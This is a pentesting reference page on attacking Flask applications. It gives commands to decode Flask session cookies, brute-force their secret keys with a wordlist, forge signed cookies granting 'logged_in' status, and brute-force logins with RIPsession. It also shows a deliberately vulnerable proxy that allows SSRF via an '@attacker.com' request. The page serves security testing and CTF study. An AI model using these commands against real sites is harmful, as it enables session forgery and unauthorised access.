# Flask
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**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
## Cookies
Default cookie session name is **`session`**.
### Decoder
Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Get the first part of the cookie until the first point and Base64 decode it>
```bash
echo "ImhlbGxvIg" | base64 -d
```
The cookie is also signed using a password
### **Flask-Unsign**
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Decode Cookie**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval
```
#### **Signing**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Signing using legacy (old versions)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Command line tool to brute-force websites using cookies crafted with flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi in Flask session cookie with SQLmap
[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
## Flask Proxy to SSRF
[**In this writeup**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) it's explained how Flask allows a request starting with the charcter "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Which in the following scenario:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Could allow to introduce something like "@attacker.com" in order to cause a **SSRF**.
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